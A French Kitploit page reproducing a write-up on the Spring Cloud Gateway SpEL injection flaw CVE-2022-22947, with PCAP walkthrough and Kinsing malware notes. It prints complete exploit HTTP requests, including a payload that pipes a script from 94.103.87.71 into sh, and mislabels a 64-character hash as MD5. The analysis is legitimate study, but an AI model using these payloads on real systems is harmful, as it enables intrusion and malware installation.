Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22947 — Analyse détaillée et procédure d'exploitation de CVE-2022-22947, une vulnérabilité d'injection SpEL dans Spring Cloud Gateway menant à une exécution de code à distance (RCE), incluant l'analyse de PCAP et l'investigation du malware Kinsing. | Kitploit
Outils/GitHubGitHub/sumitpathania03/cve-2022-22947
Analyse des VulnérabilitésExploitationExploitation d'Applications WebAnalyse de MalwareArticles et RechercheApprentissage et ÉducationArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse détaillée et procédure d'exploitation de CVE-2022-22947, une vulnérabilité d'injection SpEL dans Spring Cloud Gateway menant à une exécution de code à distance (RCE), incluant l'analyse de PCAP et l'investigation du malware Kinsing.

Voir le dépôt
il y a 2 ansPas encore vérifié

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) Au premier trimestre 2022, une vulnérabilité d'injection de code intéressante et critique (score de base de 10,0) a été découverte dans Spring Cloud Gateway, exploitant l'API Actuator pour réaliser une injection SpEL, pouvant potentiellement conduire à la compromission du système. Versions de Spring Cloud Gateway antérieures à 3.1.1+ et 3.0.7+ Dans Spring Cloud Gateway, les applications sont vulnérables à une attaque par injection de code SI : Le endpoint Actuator Gateway est activé, exposé et non sécurisé.

GRAPHE DU FLUX DE VULNÉRABILITÉ

spring

ANALYSE PCAP

1.L'ATTAQUANT VA ENVOYER UNE REQUÊTE POST + JSON POUR LA CRÉATION D'UNE NOUVELLE ROUTE DANS LA GATEWAY ET, AVEC LE FICHIER DE CONFIGURATION JSON, IL CONFIGURE L'EN-TÊTE DE RÉPONSE DE CETTE ROUTE

root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

RÉPONSE :

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

COMME ON PEUT LE VOIR DANS LE FICHIER JSON, NOUS OBTENONS LA VALEUR DE L'EN-TÊTE DE RÉPONSE EN EXÉCUTANT CETTE EXPRESSION
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

ET ON PEUT VOIR DANS LA MÉTHODE exec( ) QU'IL Y A UNE COMMANDE COMPOSITE POUR L'EXÉCUTION DE CODE À DISTANCE.

2.ENSUITE, L'ATTAQUANT ENVOIE UNE REQUÊTE POST POUR RAFRAÎCHIR TOUTES LES ROUTES

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RÉPONSE :

root@kitploit:~
HTTP/1.1 200 OK

3.ENSUITE, L'ATTAQUANT ENVOIE UNE REQUÊTE GET SUR LA NOUVELLE ROUTE CRÉÉE POUR EXÉCUTER LA COMMANDE RCE DANS L'EN-TÊTE DE RÉPONSE

root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

RÉPONSE :

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

LA RÉPONSE 200 OK INDIQUE QUE LA COMMANDE RCE A ÉTÉ EXÉCUTÉE AVEC SUCCÈS.

4.ENSUITE, L'ATTAQUANT ENVERRA UNE REQUÊTE DELETE POUR SUPPRIMER CETTE ROUTE

root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RÉPONSE :

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDIQUE QUE LA ROUTE A ÉTÉ SUPPRIMÉE AVEC SUCCÈS

LOG_DATA

SHELLCODE DÉCODÉE :

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

APRÈS AVOIR DÉCODÉ CE SHELLCODE, J'AI TROUVÉ UNE URL WGET D'UN SCRIPT. J'AI ENSUITE TÉLÉCHARGÉ CE SCRIPT MANUELLEMENT ET, APRÈS ANALYSE DE CE SCRIPT, J'AI TROUVÉ UNE URL DE TÉLÉCHARGEMENT DU MALWARE KINSING

SP

ET À PARTIR DE CETTE URL, J'AI TÉLÉCHARGÉ LE MALWARE KINSING DANS UN FICHIER ZIP POUR UNE ANALYSE PLUS APPROFONDIE. ENSUITE, J'AI ANALYSÉ LA VALEUR MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DE CE MALWARE ET VOICI CE QUE J'AI OBTENU

SP

SP

Télécharger l’outil